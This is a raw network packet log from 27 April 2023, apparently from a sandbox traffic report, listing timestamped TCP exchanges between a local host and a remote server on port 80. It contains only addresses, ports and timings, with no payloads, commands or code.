Apr 27, 2023 07:41:57.667871952 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.667902946 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.667908907 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.667948008 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.667953968 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.667984009 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.668030977 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.668035984 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.668066025 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.668087959 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.668087959 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.668112040 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.668188095 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.668236017 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.668245077 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.668282986 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.668288946 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.668318987 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.668334961 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.668364048 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.668370962 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.668395996 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.668414116 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.668443918 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.668443918 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.668489933 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.668494940 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.668524981 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.668536901 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.668572903 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.668576002 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.668617010 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.668625116 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.668661118 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.668668985 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.668697119 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.668714046 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.668746948 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.668983936 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.669029951 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.669039011 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.669075966 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.669084072 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.669112921 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.669127941 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.669159889 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.669166088 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.669209003 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.669210911 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.669246912 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.669258118 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.669294119 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.680419922 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.680488110 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.680522919 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.680536032 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.680547953 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.680582047 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.680593014 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.680630922 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.680639029 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.680676937 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.680685997 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.680725098 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.680735111 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.680772066 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.680777073 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.680819035 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.680820942 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.680860996 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.680867910 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.680907011 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.680908918 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.680952072 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.680954933 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.680999041 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.681001902 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.681046009 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.681046009 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.681092978 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.681094885 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.681138039 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.681142092 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.681185007 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.681189060 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.681233883 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.681235075 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.681278944 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.681284904 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.681315899 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.681329012 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.681363106 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.681368113 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.681397915 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.681411982 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.681449890 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.681514025 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.681561947 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.681570053 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.681605101 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.681613922 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.681657076 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.682351112 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.682388067 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.682416916 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.682435036 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.682437897 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.682481050 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.682483912 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.682518005 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.682534933 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.682573080 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.684097052 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.684145927 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.684182882 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.684200048 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.684230089 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.684231043 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.684247017 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.684267044 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.684297085 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.684324026 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.685775995 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.685825109 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.685859919 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.685872078 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.685897112 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.685906887 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.685913086 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.685945034 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.685960054 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.685992002 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.693077087 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.693120003 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.693162918 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.693221092 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.693243980 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.693258047 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.693258047 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.693283081 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.693288088 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.693331003 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.693331003 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.693368912 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.693383932 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.693416119 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.693420887 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.693463087 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.693473101 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.693500996 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.693548918 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.693572044 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.694729090 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.694777966 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.694823980 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.694837093 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.694837093 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.694859028 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.694865942 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.694902897 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.694911003 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.694932938 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.694952011 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.694976091 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.694981098 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.695019960 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.695028067 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.695054054 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.695067883 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.695125103 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.696422100 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.696460962 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.696504116 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.696543932 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.696543932 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.696552038 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.696580887 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.696588993 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.696595907 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.696643114 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.700658083 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.700720072 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.700767040 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.700804949 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.700807095 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.700804949 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.700839043 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.700855017 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.701714039 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.701762915 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.701814890 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.701821089 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.701821089 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.701852083 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.701857090 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.701903105 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.703437090 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.703519106 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.703540087 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.703571081 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.703593969 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.703862906 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.706782103 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.706856966 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.706901073 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.706919909 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.706928015 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.706967115 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.706974983 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.707017899 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.918797016 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.918879986 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.918953896 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.918963909 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.918963909 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.919004917 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.919034958 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.919056892 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.919058084 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.919147015 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.923777103 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.923846006 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.923875093 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.923908949 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.923916101 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.923955917 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.923968077 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.924010992 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.925482988 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.925529957 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.925566912 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.925570011 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.925601006 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.925614119 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.925617933 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.925652027 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.925671101 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.925690889 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.927191019 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.927242994 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.927273035 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.927279949 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.927299023 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.927328110 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.927328110 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.927366018 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.927385092 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.927433968 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.930366993 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.930417061 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.930485010 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.930490971 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.930519104 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.930529118 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.930536032 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.930577993 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.932276964 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.932326078 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.932374001 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.932374954 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.932400942 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.932410955 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.932420015 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.932460070 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.935303926 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.935353041 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.935369968 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.935417891 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.935425043 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.935456038 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.935514927 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.935514927 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.937788010 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.937860966 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.937903881 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.937907934 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.937938929 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.937948942 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.937953949 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.937995911 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.938704014 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.938740969 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.938772917 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.938786030 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.938796997 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.938832045 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.938838005 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.938869953 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.938884020 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.938924074 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.943651915 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.943703890 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.943756104 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.943782091 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.943784952 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.943820000 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.943831921 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.943873882 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.945281029 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.945333958 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.945364952 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.945394039 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.945400000 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.945439100 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.945447922 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.945476055 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.945488930 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.945524931 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.954875946 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.954948902 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.954994917 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.955070972 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.955076933 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.955127001 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.955127954 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.955127001 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.955127001 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.955174923 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.955183983 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.955224037 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.955228090 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.955271006 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.955274105 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.955317020 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.955319881 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.955363035 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.955373049 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.955425978 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.955445051 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.955496073 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.955504894 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.955542088 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.955543995 CEST	49697	80	192.168.2.3	85.192.63.15
